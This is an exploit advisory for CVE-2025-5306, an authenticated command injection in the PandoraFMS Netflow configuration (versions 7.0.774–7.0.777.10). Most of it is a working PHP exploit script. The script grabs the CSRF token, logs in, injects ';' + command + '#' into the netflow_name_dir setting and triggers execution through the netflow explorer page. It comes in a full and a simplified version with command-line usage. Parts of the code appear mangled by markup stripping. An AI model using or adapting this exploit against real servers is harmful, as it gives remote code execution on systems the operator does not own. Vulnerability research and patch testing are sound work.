============================================================================================================================================= | # Title : PandoraFMS Netflow 7.0.774–7.0.777.10 Authenticated Command Injection | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://pandorafms.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/207183/ & CVE-2025-5306 [+] Summary : PandoraFMS versions 7.0.774 through 7.0.777.10 contain an authenticated command injection vulnerability in the Netflow configuration component. An authenticated attacker with valid credentials can inject arbitrary system commands via the netflow_name_dir parameter, leading to remote code execution on the underlying server with the privileges of the web server user. [+] POC : php poc.php target = rtrim($target, '/'); $this->username = $username; $this->password = $password; $this->csrf_token = null; $this->cookies = []; } private function send_request($method, $endpoint, $data = null, $is_post = false) { $url = $this->target . $endpoint; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_FOLLOWLOCATION => true, CURLOPT_COOKIEFILE => '', CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ]); // Preserve cookies between requests if (!empty($this->cookies)) { curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header()); } if ($is_post) { curl_setopt($ch, CURLOPT_POST, true); if ($data) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); } } else { if ($data && !$is_post) { $url .= '?' . http_build_query($data); curl_setopt($ch, CURLOPT_URL, $url); } } $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); // Save cookies from response if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) { foreach ($matches[1] as $cookie) { $parts = explode('=', $cookie, 2); if (count($parts) === 2) { $this->cookies[$parts[0]] = $parts[1]; } } } curl_close($ch); return [ 'code' => $http_code, 'body' => $response ]; } private function build_cookie_header() { $cookies = []; foreach ($this->cookies as $name => $value) { $cookies[] = $name . '=' . $value; } return implode('; ', $cookies); } private function extract_csrf_token($html) { if (preg_match('/]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $html, $matches)) { return $matches[1]; } return null; } private function extract_version($html) { if (preg_match('/]*id="ver_num"[^>]*>([^<]*)send_request('GET', '/pandora_console/index.php', ['login' => '1']); if ($response['code'] !== 200) { return "Unknown: Received unexpected response code: " . $response['code']; } if (empty($response['body'])) { return "Unknown: Empty response received"; } $version = $this->extract_version($response['body']); $this->csrf_token = $this->extract_csrf_token($response['body']); if (!$version) { return "Safe: Application is probably not PandoraFMS"; } echo "[*] Detected version: $version\n"; if (!$this->csrf_token) { echo "[!] CSRF token not found\n"; } // Check if version is vulnerable (7.0.774 to 7.0.777.10) if (version_compare($version, '7.0.774', '>=') && version_compare($version, '7.0.777.10', '<=')) { return "Appears: Vulnerable PandoraFMS version $version detected"; } return "Safe: Running version $version, which is not vulnerable"; } private function get_csrf_token() { if ($this->csrf_token) { return $this->csrf_token; } $response = $this->send_request('GET', '/pandora_console/index.php', ['login' => '1']); if ($response['code'] !== 200) { throw new Exception("Unexpected response when fetching CSRF token"); } $this->csrf_token = $this->extract_csrf_token($response['body']); if (!$this->csrf_token) { throw new Exception("Could not find CSRF token"); } return $this->csrf_token; } private function login_successful($response) { return $response['code'] === 200 && (strpos($response['body'], 'id="welcome-icon-header"') !== false || strpos($response['body'], 'id="welcome_panel"') !== false || strpos($response['body'], 'godmode') !== false); } private function login() { echo "[*] Attempting to login...\n"; $csrf_token = $this->get_csrf_token(); $post_data = [ 'nick' => $this->username, 'pass' => $this->password, 'login_button' => "Let's go", 'csrf_code' => $csrf_token ]; $response = $this->send_request('POST', '/pandora_console/index.php', array_merge(['login' => '1'], $post_data), true); if (!$this->login_successful($response)) { throw new Exception("Login failed - invalid credentials or application error"); } echo "[+] Login successful\n"; } private function extract_netflow_config($html) { $config = []; // Extract netflow_daemon if (preg_match('/]*name="netflow_daemon"[^>]*value="([^"]*)"/i', $html, $matches)) { $config['netflow_daemon'] = $matches[1]; } // Extract netflow_nfdump if (preg_match('/]*name="netflow_nfdump"[^>]*value="([^"]*)"/i', $html, $matches)) { $config['netflow_nfdump'] = $matches[1]; } // Extract netflow_max_resolution if (preg_match('/]*name="netflow_max_resolution"[^>]*value="([^"]*)"/i', $html, $matches)) { $config['netflow_max_resolution'] = $matches[1]; } // Extract netflow_disable_custom_lvfilters_sent if (preg_match('/]*name="netflow_disable_custom_lvfilters_sent"[^>]*value="([^"]*)"/i', $html, $matches)) { $config['netflow_disable_custom_lvfilters_sent'] = $matches[1]; } // Extract netflow_max_lifetime if (preg_match('/]*name="netflow_max_lifetime"[^>]*value="([^"]*)"/i', $html, $matches)) { $config['netflow_max_lifetime'] = $matches[1]; } // Extract netflow_interval if (preg_match('/]*name="netflow_interval"[^>]*>.*?]*selected="selected"[^>]*value="([^"]*)"/is', $html, $matches)) { $config['netflow_interval'] = $matches[1]; } return $config; } private function valid_netflow_options($config) { foreach ($config as $key => $value) { if (empty($value)) { return false; } } return true; } private function configure_netflow($payload) { echo "[*] Configuring Netflow with payload...\n"; $response = $this->send_request('GET', '/pandora_console/index.php', [ 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' ]); if ($response['code'] !== 200) { throw new Exception("Netflow might not be enabled"); } $config = $this->extract_netflow_config($response['body']); if (!$this->valid_netflow_options($config)) { throw new Exception("Failed to get existing Netflow configuration"); } // Add payload to netflow_name_dir parameter $config['netflow_name_dir'] = ';' . $payload . '#'; $config['update_config'] = '1'; $config['upd_button'] = 'Update'; $response = $this->send_request('POST', '/pandora_console/index.php', array_merge([ 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' ], $config), true); if ($response['code'] !== 200) { throw new Exception("Failed to configure Netflow"); } echo "[+] Netflow configured with payload\n"; } private function trigger_payload() { echo "[*] Triggering payload execution...\n"; $response = $this->send_request('GET', '/pandora_console/index.php', [ 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' ]); echo "[+] Payload triggered\n"; return $response; } public function exploit($payload) { try { echo "[*] Starting PandoraFMS Netflow RCE exploitation...\n"; // Check target first $check_result = $this->check(); echo "[*] Check result: $check_result\n"; if (strpos($check_result, 'Safe') !== false) { echo "[-] Target is not vulnerable, stopping exploitation\n"; return false; } // Login $this->login(); // Configure netflow with payload $this->configure_netflow($payload); // Trigger the payload $this->trigger_payload(); echo "[+] Exploitation completed\n"; return true; } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; return false; } } } // نسخة مبسطة للاستخدام السريع class SimplePandoraExploit { public static function execute($target, $username, $password, $command) { $target = rtrim($target, '/'); // Step 1: Get CSRF token and login $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $target . '/pandora_console/index.php?login=1', CURLOPT_RETURNTRANSFER => true, CURLOPT_COOKIEFILE => '', CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $response = curl_exec($ch); $csrf_token = null; if (preg_match('/]*id="hidden-csrf_code"[^>]*value="([^"]*)"/i', $response, $matches)) { $csrf_token = $matches[1]; } if (!$csrf_token) { return "[-] Failed to get CSRF token"; } // Step 2: Login $post_data = http_build_query([ 'nick' => $username, 'pass' => $password, 'login_button' => "Let's go", 'csrf_code' => $csrf_token ]); curl_setopt_array($ch, [ CURLOPT_URL => $target . '/pandora_console/index.php?login=1', CURLOPT_POST => true, CURLOPT_POSTFIELDS => $post_data ]); $login_response = curl_exec($ch); if (strpos($login_response, 'godmode') === false) { return "[-] Login failed"; } // Step 3: Configure Netflow with payload $netflow_data = http_build_query([ 'netflow_daemon' => '/usr/bin/nfcapd', 'netflow_nfdump' => '/usr/bin/nfdump', 'netflow_max_resolution' => '1080', 'netflow_disable_custom_lvfilters_sent' => '0', 'netflow_max_lifetime' => '30', 'netflow_interval' => '300', 'netflow_name_dir' => ';' . $command . '#', 'update_config' => '1', 'upd_button' => 'Update' ]); curl_setopt_array($ch, [ CURLOPT_URL => $target . '/pandora_console/index.php?sec=general&sec2=godmode/setup/setup§ion=net', CURLOPT_POSTFIELDS => $netflow_data ]); $config_response = curl_exec($ch); // Step 4: Trigger payload curl_setopt_array($ch, [ CURLOPT_URL => $target . '/pandora_console/index.php?sec=network_traffic&sec2=operation/netflow/netflow_explorer', CURLOPT_POST => false, CURLOPT_POSTFIELDS => null ]); $trigger_response = curl_exec($ch); curl_close($ch); return "[+] Exploitation completed"; } } // الاستخدام if (php_sapi_name() === 'cli') { if ($argc < 5) { echo "Usage: php " . $argv[0] . " \n"; echo "Example: php " . $argv[0] . " http://localhost admin pandora \"id\"\n"; exit(1); } $target = $argv[1]; $username = $argv[2]; $password = $argv[3]; $command = $argv[4]; // استخدام النسخة الكاملة $exploit = new PandoraFMS_Netflow_RCE($target, $username, $password); $exploit->exploit($command); // أو استخدام النسخة المبسطة // $result = SimplePandoraExploit::execute($target, $username, $password, $command); // echo $result . "\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================